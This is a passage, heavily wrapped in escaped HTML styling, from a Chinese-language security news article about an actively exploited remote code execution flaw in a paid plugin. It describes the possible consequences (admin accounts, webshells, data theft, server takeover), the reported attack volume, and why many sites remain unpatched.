style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;换句话说：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者甚至不需要后台权限。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;只要能访问表单即可。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击成功后会发生什么？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者能够执行任意 PHP 代码。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;意味着他们可以：&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;创建管理员账户&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;新增隐藏管理员账号长期控制网站。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;上传 WebShell / 后门&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;实现长期驻留。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;窃取数据库&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;包括：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;用户数据&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;订单数据&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;邮箱信息&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;API 密钥&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;接管服务器&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;进一步攻击：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;同服务器网站&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;内网资源&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;云环境&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;研究人员明确指出：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;最终结果就是 Complete Site Compromise（完全沦陷）&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击规模已经多严重？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;目前公开数据显示：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;margin-top: 0px;margin-bottom: 1rem;padding-left: 2em;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;攻击者从 4 月开始利用&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;已拦截超过 29,300 次攻击尝试&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;攻击活动正在持续增长&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;安全研究人员认为：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;随着漏洞利用脚本公开。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;现在已经进入：&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;strong style=&quot;font-weight: 600;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;自动化扫描 + 批量攻击阶段。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;hr style=&quot;box-sizing: content-box;overflow: hidden;background: rgb(209, 217, 224);height: 0.25em;padding: 0px;margin: 1.5rem 0px;border: 0px;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;/&gt;&lt;h1 style=&quot;font-size: 2em;margin: 1.5rem 0px 1rem;padding: 0px 0px 0.3em;font-weight: 600;border-bottom: 1px solid rgba(209, 217, 224, 0.7);line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;为什么很多网站还没修？&lt;/span&gt;&lt;/h1&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原因其实很简单：&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原因 1：这是付费插件&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;很多管理员不会频繁更新。&lt;/span&gt;&lt;/p&gt;&lt;h3 style=&quot;font-size: 1.25em;margin: 1.5rem 0px 1rem;padding: 0px;font-weight: 600;line-height: 1.25;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原因 2：漏洞藏在特殊功能中&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;font-size: 16px;margin: 0px 1em 1rem;padding: 0px;font-weight: 400;color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;许多人认为：&lt;/span&gt;&lt;/p&gt;&lt;blockquote style=&quot;margin: 0px 0px 1rem;padding: 0px 1em;color: rgb(89, 99, 110);border-left: 0.25em solid rgb(209, 217, 224);font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;Noto Sans&amp;quot;, Helvetica, Arial, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot;&gt;&lt;p style=&quot;font-size: 1em;margin: 0px 1em;padding: 0px;font-weight: normal;&quot;&gt;&lt;span 